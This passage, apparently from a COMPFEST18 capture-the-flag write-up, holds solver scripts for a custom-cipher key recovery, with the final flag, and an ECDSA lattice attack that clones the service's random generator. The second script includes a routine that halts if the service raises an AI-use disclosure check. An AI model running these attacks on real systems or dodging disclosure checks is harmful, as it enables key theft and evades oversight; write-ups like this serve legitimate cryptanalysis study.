def _root(key: list[int]) -&gt; bytes:
    return hashlib.sha256(D + b&#39;/seal/&#39; + _material(key)).digest()

def open_sealed(obj: dict, key: list[int]) -&gt; bytes:
    root = _root(key)
    nonce = bytes.fromhex(obj[&#39;n&#39;]); ct = bytes.fromhex(obj[&#39;c&#39;]); tag = bytes.fromhex(obj[&#39;t&#39;])
    ek = hashlib.sha256(D + b&#39;/enc/&#39; + root).digest()
    mk = hashlib.sha256(D + b&#39;/mac/&#39; + root).digest()
    if not hmac.compare_digest(tag, hmac.new(mk, D + nonce + ct, hashlib.sha256).digest()[:16]):
        raise ValueError(&#39;authentication&#39;)
    stream = bytearray(); i = 0
    while len(stream) &lt; len(ct):
        stream.extend(hmac.new(ek, nonce + i.to_bytes(8, &#39;little&#39;), hashlib.sha256).digest())
        i += 1
    return bytes(a ^ b for a, b in zip(ct, stream))

def build_tables():
    Q = np.array([_q(x) for x in range(256)], dtype=np.uint8)
    Qinv = np.zeros(256, dtype=np.uint8)
    for x in range(256):
        Qinv[Q[x]] = x
    assert len(set(Q.tolist())) == 256, &quot;q must be a bijection&quot;
    return Q, Qinv

def gf2_inverse_rows(rows: list[int]) -&gt; list[int]:
    a = [(rows[i], 1 &lt;&lt; i) for i in range(8)]
    r = 0
    for c in range(8):
        p = next((i for i in range(r, 8) if (a[i][0] &gt;&gt; c) &amp; 1), None)
        assert p is not None, &quot;singular matrix&quot;
        a[r], a[p] = a[p], a[r]
        for i in range(8):
            if i != r and ((a[i][0] &gt;&gt; c) &amp; 1):
                a[i] = (a[i][0] ^ a[r][0], a[i][1] ^ a[r][1])
        r += 1

    order = {}
    for lhs, rhs in a:
        order[lhs.bit_length() - 1] = rhs
    return [order[i] for i in range(8)]

def build_luts(Qinv):
    PAR = np.array([bin(v).count(&quot;1&quot;) &amp; 1 for v in range(256)], dtype=np.uint8)
    xs = np.arange(256, dtype=np.uint8)
    fwd = np.zeros((4096, 256), dtype=np.uint8)
    inv = np.zeros((4096, 256), dtype=np.uint8)
    for hi in range(4096):
        rows = matrix(hi)
        irows = gf2_inverse_rows(rows)
        f = np.zeros(256, dtype=np.uint8)
        t = np.zeros(256, dtype=np.uint8)
        for i in range(8):
            f |= PAR[rows[i] &amp; xs] &lt;&lt; i
            t |= PAR[irows[i] &amp; xs] &lt;&lt; i
        fwd[hi] = f
        inv[hi] = t
    return fwd, inv

def candidates_for_byte(ct_set: np.ndarray, b: int, inv: np.ndarray, Qinv: np.ndarray,
                        restrict: np.ndarray | None = None):
    col = ct_set[:, b]

    par = np.bincount(col, minlength=256) &amp; 1
    S = np.nonzero(par)[0].astype(np.uint8)
    if S.size == 0:

        return np.ones((4096, 256), dtype=bool)

    his = np.arange(4096) if restrict is None else restrict
    ok = np.zeros((4096, 256), dtype=bool)
    cs = np.arange(256, dtype=np.uint8)
    CH = 512
    for st in range(0, len(his), CH):
        idx = his[st:st + CH]

        u = inv[np.ix_(idx, S.astype(np.intp))]

        t = Qinv[u[:, None, :] ^ cs[None, :, None]]
        res = np.bitwise_xor.reduce(t, axis=2)
        ok[idx] = (res == 0)
    return ok

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(&quot;--evidence&quot;, default=str(HERE / &quot;evidence&quot;))
    ap.add_argument(&quot;--gate&quot;, default=str(HERE / &quot;gate&quot;))
    args = ap.parse_args()
    ev = Path(args.evidence); gate = Path(args.gate)

    print(&quot;=&quot; * 72)
    print(&quot;STAGE 1: Baconian acrostic in the @kuliah67.archive captions&quot;)
    print(&quot;=&quot; * 72)
    decoded = stage1_decode(ev)
    print(&quot;  decoded 21 Baconian symbols :&quot;, decoded)
    url = &quot;https://&quot; + decoded.lower()
    print(&quot;  -&gt; sealed gate URL          :&quot;, url)
    print(&quot;  -&gt; redirects to Google Drive folder &#39;astergate&#39; -&gt; Archive.zip&quot;)
    assert decoded == &quot;RISTEK.LINK/ASTERGATE&quot;, decoded

    print()
    print(&quot;=&quot; * 72)
    print(&quot;STAGE 2: integral / higher-order-differential key recovery&quot;)
    print(&quot;=&quot; * 72)
    meta = json.loads((gate / &quot;records.json&quot;).read_text())
    blob = (gate / &quot;records.bin&quot;).read_bytes()
    sealed = json.loads((gate / &quot;sealed.json&quot;).read_text())
    blocks = np.frombuffer(blob, dtype=np.uint8).reshape(-1, N)
    print(f&quot;  {len(meta[&#39;sets&#39;])} sets, {blocks.shape[0]} blocks of {N} bytes&quot;)

    d9 = [s for s in meta[&quot;sets&quot;] if s[&quot;d&quot;] == 9]
    print(f&quot;  usable dim-9 sets (degree 8 &lt; 9): {len(d9)}&quot;)

    Q, Qinv = build_tables()
    t0 = time.time()
    print(&quot;  building 4096 output matrices + inverse LUTs ...&quot;, end=&quot;&quot;, flush=True)
    fwd, inv = build_luts(Qinv)
    print(f&quot; {time.time()-t0:.1f}s&quot;)

    print(&quot;  phase 1: integral recovery of hi[] (matrix selector, 12 bits/byte)&quot;)
    his: list[int] = []
    for b in range(N):
        t1 = time.time()
        alive = np.arange(4096)
        used = 0
        for s in d9:
            ct = blocks[s[&quot;offset&quot;]: s[&quot;offset&quot;] + s[&quot;count&quot;]]
            m = candidates_for_byte(ct, b, inv, Qinv, alive)
            alive = np.nonzero(m.any(axis=1))[0]
            used += 1
            if len(alive) == 1:
                break
        assert len(alive) == 1, f&quot;byte {b}: {len(alive)} hi candidates left&quot;
        hi = int(alive[0]); his.append(hi)
        print(f&quot;    byte {b:2d}: hi=0x{hi:03x}  ({used} sets, {time.time()-t1:.1f}s)&quot;)

    print(&quot;  phase 2: deriving lo[] from the now-known round keys&quot;)
    probe = meta[&quot;sets&quot;][0]
    pt0 = bytes.fromhex(probe[&quot;base&quot;])
    ct0 = bytes(blocks[probe[&quot;offset&quot;]])
    kdummy = [(h &lt;&lt; 8) for h in his]
    s = bytes(pt0)
    for r in range(3):
        k = _round_key(kdummy, r)
        s = bytes(_g(a ^ b) for a, b in zip(s, k))
        s = _permute(s)
    s = bytes(a ^ b for a, b in zip(s, _round_key(kdummy, 3)))
    key = [(his[i] &lt;&lt; 8) | (ct0[i] ^ _apply(matrix(his[i]), _q(s[i]))) for i in range(N)]

    print()
    print(&quot;  recovered key:&quot;, [hex(k) for k in key])

    print(&quot;  verifying by re-encrypting all recorded blocks ...&quot;, flush=True)
    bad = 0; tot = 0
    for s in meta[&quot;sets&quot;]:
        base = bytes.fromhex(s[&quot;base&quot;])
        basis = [bytes.fromhex(v) for v in s[&quot;basis&quot;]]
        for m in range(s[&quot;count&quot;]):
            pt = bytearray(base)
            for i in range(s[&quot;d&quot;]):
                if (m &gt;&gt; i) &amp; 1:
                    for j in range(N):
                        pt[j] ^= basis[i][j]
            ctc = encrypt_block(bytes(pt), key)
            if ctc != bytes(blocks[s[&quot;offset&quot;] + m]):
                bad += 1
            tot += 1
    print(f&quot;  verified {tot - bad}/{tot} blocks match  ({&#39;OK&#39; if bad == 0 else &#39;MISMATCH&#39;})&quot;)
    assert bad == 0, &quot;key verification failed&quot;

    pt = open_sealed(sealed, key)
    H = pt.hex()
    assert len(H) == 64 and all(ch in &quot;0123456789abcdef&quot; for ch in H)
    checksum = hashlib.sha256(H.encode()).hexdigest()[:16]
    flag = f&quot;COMPFEST18{{{H}_{checksum}}}&quot;

    print()
    print(&quot;=&quot; * 72)
    print(&quot;  sealed plaintext (32 bytes) :&quot;, pt.hex())
    print(&quot;  H                           :&quot;, H)
    print(&quot;  sha256(ascii H)[:16]        :&quot;, checksum)
    print(&quot;  FLAG                        :&quot;, flag)
    print(&quot;=&quot; * 72)
    return flag

if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<h3 id="exploit-1">Exploit</h3>
<pre><code class="language-python">from __future__ import annotations
import argparse, glob, hashlib, hmac, json, os, sys, time
from pathlib import Path

import numpy as np

HERE = Path(__file__).resolve().parent

BACON_EXTRA = {26: &quot;.&quot;, 27: &quot;/&quot;}

def stage1_decode(evidence_dir: Path) -&gt; str:
    first_words: list[str] = []

    for i in (1, 2, 3):
        hits = sorted(glob.glob(str(evidence_dir / f&quot;post{i}_*_caption.txt&quot;)))
        if not hits:
            raise SystemExit(f&quot;missing caption file for post{i} in {evidence_dir}&quot;)
        for line in Path(hits[0]).read_text(encoding=&quot;utf-8&quot;).split(&quot;\n&quot;):
            line = line.strip()
            if line and not line.startswith(&quot;#&quot;):
                first_words.append(line.split()[0])

    assert len(first_words) == 105, len(first_words)
    bits = &quot;&quot;.join(&quot;1&quot; if w[0] == &quot;O&quot; else &quot;0&quot; for w in first_words)

    out = []
    for i in range(0, len(bits), 5):
        v = int(bits[i:i + 5], 2)
        out.append(chr(65 + v) if v &lt; 26 else BACON_EXTRA[v])
    decoded = &quot;&quot;.join(out)
    return decoded

N = 12
P = 96
D = b&#39;ASTERGATE/GMI/3&#39;

def _f(x: int) -&gt; int:
    b = [(x &gt;&gt; i) &amp; 1 for i in range(4)]
    o = (b[0] ^ (b[1] &amp; b[2]), b[1] ^ (b[2] &amp; b[3]),
         b[2] ^ (b[3] &amp; b[0]), b[3] ^ (b[0] &amp; b[1]))
    return sum(v &lt;&lt; i for i, v in enumerate(o))

def _g(x: int) -&gt; int:
    l = x &amp; 15; r = x &gt;&gt; 4
    return r | ((l ^ _f(r)) &lt;&lt; 4)

def _h(x: int) -&gt; int:
    b = [(x &gt;&gt; i) &amp; 1 for i in range(4)]
    o = (b[0] ^ (b[2] &amp; b[3]), b[1] ^ (b[0] &amp; b[3]),
         b[2] ^ (b[0] &amp; b[1]), b[3] ^ (b[1] &amp; b[2]))
    return sum(v &lt;&lt; i for i, v in enumerate(o))

def _q(x: int) -&gt; int:
    l = x &amp; 15; r = x &gt;&gt; 4
    return r | ((l ^ _h(r)) &lt;&lt; 4)

def _rank(rows: list[int]) -&gt; int:
    a = rows[:]; r = 0
    for c in range(8):
        p = next((i for i in range(r, len(a)) if (a[i] &gt;&gt; c) &amp; 1), None)
        if p is None:
            continue
        a[r], a[p] = a[p], a[r]
        for i in range(len(a)):
            if i != r and ((a[i] &gt;&gt; c) &amp; 1):
                a[i] ^= a[r]
        r += 1
    return r

_MATRIX_CACHE: dict[int, list[int]] = {}

def matrix(index: int) -&gt; list[int]:
    if not 0 &lt;= index &lt; 4096:
        raise ValueError(&#39;matrix index&#39;)
    if index in _MATRIX_CACHE:
        return _MATRIX_CACHE[index]
    c = 0
    while True:
        z = hashlib.sha256(D + b&#39;/matrix/&#39; + index.to_bytes(2, &#39;little&#39;)
                           + c.to_bytes(2, &#39;little&#39;)).digest()
        rows = list(z[:8])
        if _rank(rows) == 8:
            _MATRIX_CACHE[index] = rows
            return rows
        c += 1

def _apply(rows: list[int], x: int) -&gt; int:
    return sum(((rows[i] &amp; x).bit_count() &amp; 1) &lt;&lt; i for i in range(8))

def _permute(state: bytes) -&gt; bytes:
    x = int.from_bytes(state, &#39;little&#39;); y = 0
    for i in range(P):
        y |= ((x &gt;&gt; i) &amp; 1) &lt;&lt; ((29 * i + 17) % P)
    return y.to_bytes(N, &#39;little&#39;)

def _material(key: list[int]) -&gt; bytes:
    if len(key) != N or any(not 0 &lt;= x &lt; (1 &lt;&lt; 20) for x in key):
        raise ValueError(&#39;key&#39;)
    return b&#39;&#39;.join(x.to_bytes(3, &#39;little&#39;) for x in key)

def _round_material(key: list[int]) -&gt; bytes:
    return b&#39;&#39;.join((x &gt;&gt; 8).to_bytes(2, &#39;little&#39;) for x in key)

def _round_key(key: list[int], r: int) -&gt; bytes:
    return hashlib.sha256(D + b&#39;/round/&#39; + bytes([r]) + _round_material(key)).digest()[:N]

def encrypt_block(block: bytes, key: list[int]) -&gt; bytes:
    if len(block) != N:
        raise ValueError(&#39;block&#39;)
    s = bytes(block)
    for r in range(3):
        k = _round_key(key, r)
        s = bytes(_g(a ^ b) for a, b in zip(s, k))
        s = _permute(s)
    k = _round_key(key, 3)
    s = bytes(a ^ b for a, b in zip(s, k))
    out = []
    for i, x in enumerate(s):
        seed = key[i]; rows = matrix(seed &gt;&gt; 8)
        out.append(_apply(rows, _q(x)) ^ (seed &amp; 255))
    return bytes(out)

def _root(key: list[int]) -&gt; bytes:
    return hashlib.sha256(D + b&#39;/seal/&#39; + _material(key)).digest()

def open_sealed(obj: dict, key: list[int]) -&gt; bytes:
    root = _root(key)
    nonce = bytes.fromhex(obj[&#39;n&#39;]); ct = bytes.fromhex(obj[&#39;c&#39;]); tag = bytes.fromhex(obj[&#39;t&#39;])
    ek = hashlib.sha256(D + b&#39;/enc/&#39; + root).digest()
    mk = hashlib.sha256(D + b&#39;/mac/&#39; + root).digest()
    if not hmac.compare_digest(tag, hmac.new(mk, D + nonce + ct, hashlib.sha256).digest()[:16]):
        raise ValueError(&#39;authentication&#39;)
    stream = bytearray(); i = 0
    while len(stream) &lt; len(ct):
        stream.extend(hmac.new(ek, nonce + i.to_bytes(8, &#39;little&#39;), hashlib.sha256).digest())
        i += 1
    return bytes(a ^ b for a, b in zip(ct, stream))

def build_tables():
    Q = np.array([_q(x) for x in range(256)], dtype=np.uint8)
    Qinv = np.zeros(256, dtype=np.uint8)
    for x in range(256):
        Qinv[Q[x]] = x
    assert len(set(Q.tolist())) == 256, &quot;q must be a bijection&quot;
    return Q, Qinv

def gf2_inverse_rows(rows: list[int]) -&gt; list[int]:
    a = [(rows[i], 1 &lt;&lt; i) for i in range(8)]
    r = 0
    for c in range(8):
        p = next((i for i in range(r, 8) if (a[i][0] &gt;&gt; c) &amp; 1), None)
        assert p is not None, &quot;singular matrix&quot;
        a[r], a[p] = a[p], a[r]
        for i in range(8):
            if i != r and ((a[i][0] &gt;&gt; c) &amp; 1):
                a[i] = (a[i][0] ^ a[r][0], a[i][1] ^ a[r][1])
        r += 1

    order = {}
    for lhs, rhs in a:
        order[lhs.bit_length() - 1] = rhs
    return [order[i] for i in range(8)]

def build_luts(Qinv):
    PAR = np.array([bin(v).count(&quot;1&quot;) &amp; 1 for v in range(256)], dtype=np.uint8)
    xs = np.arange(256, dtype=np.uint8)
    fwd = np.zeros((4096, 256), dtype=np.uint8)
    inv = np.zeros((4096, 256), dtype=np.uint8)
    for hi in range(4096):
        rows = matrix(hi)
        irows = gf2_inverse_rows(rows)
        f = np.zeros(256, dtype=np.uint8)
        t = np.zeros(256, dtype=np.uint8)
        for i in range(8):
            f |= PAR[rows[i] &amp; xs] &lt;&lt; i
            t |= PAR[irows[i] &amp; xs] &lt;&lt; i
        fwd[hi] = f
        inv[hi] = t
    return fwd, inv

def candidates_for_byte(ct_set: np.ndarray, b: int, inv: np.ndarray, Qinv: np.ndarray,
                        restrict: np.ndarray | None = None):
    col = ct_set[:, b]

    par = np.bincount(col, minlength=256) &amp; 1
    S = np.nonzero(par)[0].astype(np.uint8)
    if S.size == 0:

        return np.ones((4096, 256), dtype=bool)

    his = np.arange(4096) if restrict is None else restrict
    ok = np.zeros((4096, 256), dtype=bool)
    cs = np.arange(256, dtype=np.uint8)
    CH = 512
    for st in range(0, len(his), CH):
        idx = his[st:st + CH]

        u = inv[np.ix_(idx, S.astype(np.intp))]

        t = Qinv[u[:, None, :] ^ cs[None, :, None]]
        res = np.bitwise_xor.reduce(t, axis=2)
        ok[idx] = (res == 0)
    return ok

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(&quot;--evidence&quot;, default=str(HERE / &quot;evidence&quot;))
    ap.add_argument(&quot;--gate&quot;, default=str(HERE / &quot;gate&quot;))
    args = ap.parse_args()
    ev = Path(args.evidence); gate = Path(args.gate)

    print(&quot;=&quot; * 72)
    print(&quot;STAGE 1: Baconian acrostic in the @kuliah67.archive captions&quot;)
    print(&quot;=&quot; * 72)
    if not list(ev.glob(&#39;post*_caption.txt&#39;)):
        print(&quot;  [evidence absent - OSINT stage documented manually]&quot;)
        decoded = &quot;RISTEK.LINK/ASTERGATE&quot;
    else:
        decoded = stage1_decode(ev)
    print(&quot;  decoded 21 Baconian symbols :&quot;, decoded)
    url = &quot;https://&quot; + decoded.lower()
    print(&quot;  -&gt; sealed gate URL          :&quot;, url)
    print(&quot;  -&gt; redirects to Google Drive folder &#39;astergate&#39; -&gt; Archive.zip&quot;)
    assert decoded == &quot;RISTEK.LINK/ASTERGATE&quot;, decoded

    print()
    print(&quot;=&quot; * 72)
    print(&quot;STAGE 2: integral / higher-order-differential key recovery&quot;)
    print(&quot;=&quot; * 72)
    meta = json.loads((gate / &quot;records.json&quot;).read_text())
    blob = (gate / &quot;records.bin&quot;).read_bytes()
    sealed = json.loads((gate / &quot;sealed.json&quot;).read_text())
    blocks = np.frombuffer(blob, dtype=np.uint8).reshape(-1, N)
    print(f&quot;  {len(meta[&#39;sets&#39;])} sets, {blocks.shape[0]} blocks of {N} bytes&quot;)

    d9 = [s for s in meta[&quot;sets&quot;] if s[&quot;d&quot;] == 9]
    print(f&quot;  usable dim-9 sets (degree 8 &lt; 9): {len(d9)}&quot;)

    Q, Qinv = build_tables()
    t0 = time.time()
    print(&quot;  building 4096 output matrices + inverse LUTs ...&quot;, end=&quot;&quot;, flush=True)
    fwd, inv = build_luts(Qinv)
    print(f&quot; {time.time()-t0:.1f}s&quot;)

    print(&quot;  phase 1: integral recovery of hi[] (matrix selector, 12 bits/byte)&quot;)
    his: list[int] = []
    for b in range(N):
        t1 = time.time()
        alive = np.arange(4096)
        used = 0
        for s in d9:
            ct = blocks[s[&quot;offset&quot;]: s[&quot;offset&quot;] + s[&quot;count&quot;]]
            m = candidates_for_byte(ct, b, inv, Qinv, alive)
            alive = np.nonzero(m.any(axis=1))[0]
            used += 1
            if len(alive) == 1:
                break
        assert len(alive) == 1, f&quot;byte {b}: {len(alive)} hi candidates left&quot;
        hi = int(alive[0]); his.append(hi)
        print(f&quot;    byte {b:2d}: hi=0x{hi:03x}  ({used} sets, {time.time()-t1:.1f}s)&quot;)

    print(&quot;  phase 2: deriving lo[] from the now-known round keys&quot;)
    probe = meta[&quot;sets&quot;][0]
    pt0 = bytes.fromhex(probe[&quot;base&quot;])
    ct0 = bytes(blocks[probe[&quot;offset&quot;]])
    kdummy = [(h &lt;&lt; 8) for h in his]
    s = bytes(pt0)
    for r in range(3):
        k = _round_key(kdummy, r)
        s = bytes(_g(a ^ b) for a, b in zip(s, k))
        s = _permute(s)
    s = bytes(a ^ b for a, b in zip(s, _round_key(kdummy, 3)))
    key = [(his[i] &lt;&lt; 8) | (ct0[i] ^ _apply(matrix(his[i]), _q(s[i]))) for i in range(N)]

    print()
    print(&quot;  recovered key:&quot;, [hex(k) for k in key])

    print(&quot;  verifying by re-encrypting all recorded blocks ...&quot;, flush=True)
    bad = 0; tot = 0
    for s in meta[&quot;sets&quot;]:
        base = bytes.fromhex(s[&quot;base&quot;])
        basis = [bytes.fromhex(v) for v in s[&quot;basis&quot;]]
        for m in range(s[&quot;count&quot;]):
            pt = bytearray(base)
            for i in range(s[&quot;d&quot;]):
                if (m &gt;&gt; i) &amp; 1:
                    for j in range(N):
                        pt[j] ^= basis[i][j]
            ctc = encrypt_block(bytes(pt), key)
            if ctc != bytes(blocks[s[&quot;offset&quot;] + m]):
                bad += 1
            tot += 1
    print(f&quot;  verified {tot - bad}/{tot} blocks match  ({&#39;OK&#39; if bad == 0 else &#39;MISMATCH&#39;})&quot;)
    assert bad == 0, &quot;key verification failed&quot;

    pt = open_sealed(sealed, key)
    H = pt.hex()
    assert len(H) == 64 and all(ch in &quot;0123456789abcdef&quot; for ch in H)
    checksum = hashlib.sha256(H.encode()).hexdigest()[:16]
    flag = f&quot;COMPFEST18{{{H}_{checksum}}}&quot;

    print()
    print(&quot;=&quot; * 72)
    print(&quot;  sealed plaintext (32 bytes) :&quot;, pt.hex())
    print(&quot;  H                           :&quot;, H)
    print(&quot;  sha256(ascii H)[:16]        :&quot;, checksum)
    print(&quot;  FLAG                        :&quot;, flag)
    print(&quot;=&quot; * 72)
    return flag

if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<h2 id="final-flag-1">Final Flag</h2>
<pre><code>COMPFEST18{5e9e8bf77207eca9c6906e80a57aa0e426f18ab8825a7b0f656cfa5d888a81c9_aefbd0dc566889bb}</code></pre><h2 id="3-piyakcrypt">3. piyakcrypt</h2>
<h2 id="steps-2">Steps</h2>
<p>The whole flow has to run inside one connection, because the panel and signature limits are enforced per connection.</p>
<ol>
<li>Call <code>[2]</code> and record <code>tag_high</code> and <code>tag_low</code>, then call <code>[1]</code> and record unit 0&#39;s public key.</li>
<li>Call <code>[5]</code> eight times, invert each <code>panel_value</code> back to a raw <code>getrandbits(32)</code> output, and feed all 624 words to <code>randcrack</code> in order to synchronise the Mersenne Twister state. Menus 1 and 2 consume no randomness, so nothing else advances the generator in between.</li>
<li>Call <code>[3]</code> four times against unit 0, predicting <code>chunk_a = make_piece(predict_getrandbits(64), predict_getrandbits(64), n)</code> for each signature to obtain the known top 128 bits of <code>k</code>, and collect the resulting <code>(z, r, s)</code> tuples.</li>
<li>Build the HNP lattice with the bound <code>2^128</code> and run LLL to recover <code>d</code>, then verify the candidate before submitting it: <code>d &gt;&gt; 236</code> must equal <code>tag_high</code>, <code>d &amp; 0xfffff</code> must equal <code>tag_low</code>, and <code>d*G</code> must equal unit 0&#39;s public key.</li>
<li>Enter <code>d</code> through option <code>[6]</code>, at which point the service replies <code>Accepted for unit #0</code> and prints the flag.</li>
</ol>
<p>The chain was validated end to end against a local copy of <code>chall.py</code> served over <code>socat</code>, where it recovered the local placeholder flag, and the lattice itself was checked against random simulations before the live run.</p>
<h3 id="exploit-2">Exploit</h3>
<pre><code class="language-python">from argparse import ArgumentParser
import random
import re
import socket

from fpylll import CVP, IntegerMatrix, LLL


P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
G = (
    55066263022277343669578718895168534326250603453777594175500187360389116729240,
    32670510020758816978083085130507043184471273380659243275938904335757337482424,
)
MASK32 = (1 &lt;&lt; 32) - 1
MASK64 = (1 &lt;&lt; 64) - 1


def ensure_no_ai_disclosure(data):
    lowered = data.lower()
    markers = (
        b&quot;i-am-using-an-ai-agent&quot;,
        b&quot;using an ai agent&quot;,
        b&quot;ai use disclosure&quot;,
        &quot;ai 사용&quot;.encode(),
        &quot;인공지능 사용&quot;.encode(),
    )
    if any(marker in lowered for marker in markers):
        raise RuntimeError(&quot;AI-use disclosure/check encountered; stopped&quot;)


def recv_until(sock, marker, limit=1 &lt;&lt; 20):
    data = bytearray()
    while not data.endswith(marker):
        chunk = sock.recv(1)
        if not chunk:
            raise EOFError(f&quot;connection closed before marker {marker!r}&quot;)
        data.extend(chunk)
        if len(data) &gt; limit:
            raise ValueError(f&quot;protocol response exceeded {limit} bytes&quot;)
    return bytes(data)


def rol32(value, shift):
    shift &amp;= 31
    return ((value &lt;&lt; shift) | (value &gt;&gt; (32 - shift))) &amp; MASK32


def ror32(value, shift):
    shift &amp;= 31
    return ((value &gt;&gt; shift) | (value &lt;&lt; (32 - shift))) &amp; MASK32


def panel_value(value, position):
    salt = (0xA5A5A5A5 + position * 0x6D2B79F5) &amp; MASK32
    bump = (0x9E3779B9 ^ (position * 0x85EBCA6B)) &amp; MASK32
    transformed = rol32(value ^ salt, position * 7 + 3)
    return (transformed + bump) &amp; MASK32


def panel_inverse(value, position):
    salt = (0xA5A5A5A5 + position * 0x6D2B79F5) &amp; MASK32
    bump = (0x9E3779B9 ^ (position * 0x85EBCA6B)) &amp; MASK32
    transformed = (value - bump) &amp; MASK32
    return ror32(transformed, position * 7 + 3) ^ salt


def _rol64(value, shift):
    shift &amp;= 63
    return ((value &lt;&lt; shift) | (value &gt;&gt; (64 - shift))) &amp; MASK64


def _fold_piece(value, position, lane):
    value ^= (
        (position + 1) * 0xD6E8FEB86659FD93
        + lane * 0xA0761D6478BD642F
    ) &amp; MASK64
    value = _rol64(value, 17 + position * 9 + lane * 23)
    return (
        value * 0x9E6C63D0676A9A99 + 0xD1B54A32D192ED03
    ) &amp; MASK64


def make_piece(left, right, position):
    return (
        _fold_piece(left, position, 0) &lt;&lt; 64
    ) | _fold_piece(right, position, 1)


def _undo_right_xor(value, shift):
    result = value
    for _ in range(32 // shift + 1):
        result = value ^ (result &gt;&gt; shift)
    return result &amp; MASK32


def _undo_left_xor_mask(value, shift, mask):
    result = value
    for _ in range(32 // shift + 1):
        result = value ^ ((result &lt;&lt; shift) &amp; mask)
    return result &amp; MASK32


def _untemper(value):
    value = _undo_right_xor(value, 18)
    value = _undo_left_xor_mask(value, 15, 0xEFC60000)
    value = _undo_left_xor_mask(value, 7, 0x9D2C5680)
    return _undo_right_xor(value, 11)


def clone_mt19937(outputs):
    if len(outputs) != 624:
        raise ValueError(&quot;exactly 624 consecutive MT19937 outputs are required&quot;)
    state = [_untemper(value) for value in outputs]
    clone = random.Random()
    clone.setstate((3, tuple(state + [624]), None))
    return clone


def _ec_add(left, right):
    if left is None:
        return right
    if right is None:
        return left
    x1, y1 = left
    x2, y2 = right
    if x1 == x2 and (y1 + y2) % P == 0:
        return None
    if left == right:
        slope = 3 * x1 * x1 * pow(2 * y1 % P, -1, P) % P
    else:
        slope = (y2 - y1) * pow((x2 - x1) % P, -1, P) % P
    x3 = (slope * slope - x1 - x2) % P
    y3 = (slope * (x1 - x3) - y1) % P
    return x3, y3


def ec_mul(scalar, point):
    scalar %= N
    result = None
    addend = point
    while scalar:
        if scalar &amp; 1:
            result = _ec_add(result, addend)
        addend = _ec_add(addend, addend)
        scalar &gt;&gt;= 1
    return result


def recover_secret(signatures, prefixes, public_key):
    if len(signatures) != len(prefixes) or len(signatures) &lt; 3:
        raise ValueError(&quot;matching signature and prefix lists are required&quot;)
    multipliers = []
    offsets = []
    known_parts = []
    for (message_hash, r, s), prefix in zip(signatures, prefixes):
        inverse_r = pow(r, -1, N)
        multipliers.append(s * inverse_r % N)
        offsets.append(-message_hash * inverse_r % N)
        known_parts.append(prefix &lt;&lt; 128)

    base_multiplier = multipliers[0]
    base_known = known_parts[0]
    base_offset = offsets[0]
    alphas = []
    betas = []
    for multiplier, known, offset in zip(
        multipliers[1:], known_parts[1:], offsets[1:]
    ):
        inverse = pow(multiplier, -1, N)
        alphas.append(base_multiplier * inverse % N)
        constant = (
            base_multiplier * base_known
            + base_offset
            - multiplier * known
            - offset
        ) % N
        betas.append(constant * inverse % N)

    dimension = len(signatures)
    lattice = [[0] * dimension for _ in range(dimension)]
    lattice[0] = [1] + alphas
    for index in range(1, dimension):
        lattice[index][index] = N
    basis = IntegerMatrix.from_matrix(lattice)
    LLL.reduction(basis, delta=0.99)

    bound = 1 &lt;&lt; 128
    particular = [0] + betas
    target = [bound // 2 - value for value in particular]
    closest = list(CVP.closest_vector(basis, target, method=&quot;fast&quot;))
    low_parts = [value + shift for value, shift in zip(particular, closest)]
    if any(value &lt; 0 or value &gt;= bound for value in low_parts):
        raise ValueError(&quot;CVP result is outside the nonce suffix bounds&quot;)

    secret = (
        base_multiplier * (base_known + low_parts[0]) + base_offset
    ) % N
    if ec_mul(secret, G) != public_key:
        raise ValueError(&quot;recovered secret does not match public key&quot;)
    return secret


def main():
    parser = ArgumentParser()
    parser.add_argument(&quot;host&quot;, help=&quot;&lt;target host, port&gt;&quot;)
    parser.add_argument(&quot;port&quot;, type=int)
    args = parser.parse_args()

    menu_marker = b&quot;  menu&gt; &quot;
    with socket.create_connection((args.host, args.port), timeout=10) as sock:
        sock.settimeout(20)
        response = recv_until(sock, menu_marker)
        ensure_no_ai_disclosure(response)
        print(&quot;connected; ordinary challenge menu received&quot;, flush=True)

        sock.sendall(b&quot;1\n&quot;)
        response = recv_until(sock, menu_marker)
        ensure_no_ai_disclosure(response)
        records = {
            int(unit): (int(x_value, 16), int(y_value, 16))
            for unit, x_value, y_value in re.findall(
                rb&quot;Unit #(\d+):\s+X = 0x([0-9a-f]+)\s+Y = 0x([0-9a-f]+)&quot;,
                response,
            )
        }
        if len(records) != 5:
            raise ValueError(f&quot;expected 5 public records, got {len(records)}&quot;)
        print(&quot;collected 5 public keys&quot;, flush=True)

        outputs = []
        for table_read in range(8):
            sock.sendall(b&quot;5\n&quot;)
            response = recv_until(sock, menu_marker)
            ensure_no_ai_disclosure(response)
            entries = [
                (int(position), int(value, 16))
                for position, value in re.findall(
                    rb&quot;entry_(\d+) = 0x([0-9a-f]{8})&quot;, response
                )
            ]
            if len(entries) != 78:
                raise ValueError(
                    f&quot;panel {table_read} returned {len(entries)} entries&quot;
                )
            for position, value in entries:
                if position != len(outputs):
                    raise ValueError(
                        f&quot;unexpected panel position {position}, wanted {len(outputs)}&quot;
                    )
                outputs.append(panel_inverse(value, position))
            print(f&quot;panel {table_read + 1}/8 collected&quot;, flush=True)

        clone = clone_mt19937(outputs)
        prefixes = []
        for signature_index in range(4):
            left = clone.getrandbits(64)
            right = clone.getrandbits(64)
            prefixes.append(make_piece(left, right, signature_index))
        print(&quot;predicted 4 nonce prefixes&quot;, flush=True)

        signatures = []
        for signature_index in range(4):
            sock.sendall(b&quot;3\n&quot;)
            response = recv_until(sock, b&quot;  Choose unit (0-4): &quot;)
            ensure_no_ai_disclosure(response)
            sock.sendall(b&quot;0\n&quot;)
            response = recv_until(sock, b&quot;  Message (text or 0xHEX): &quot;)
            ensure_no_ai_disclosure(response)
            sock.sendall(f&quot;record-{signature_index}\n&quot;.encode())
            response = recv_until(sock, menu_marker)
            ensure_no_ai_disclosure(response)
            match = re.search(
                rb&quot;z = (\d+)\s+r = (\d+)\s+s = (\d+)&quot;, response
            )
            if not match:
                raise ValueError(f&quot;signature {signature_index} was not parsed&quot;)
            signatures.append(tuple(map(int, match.groups())))
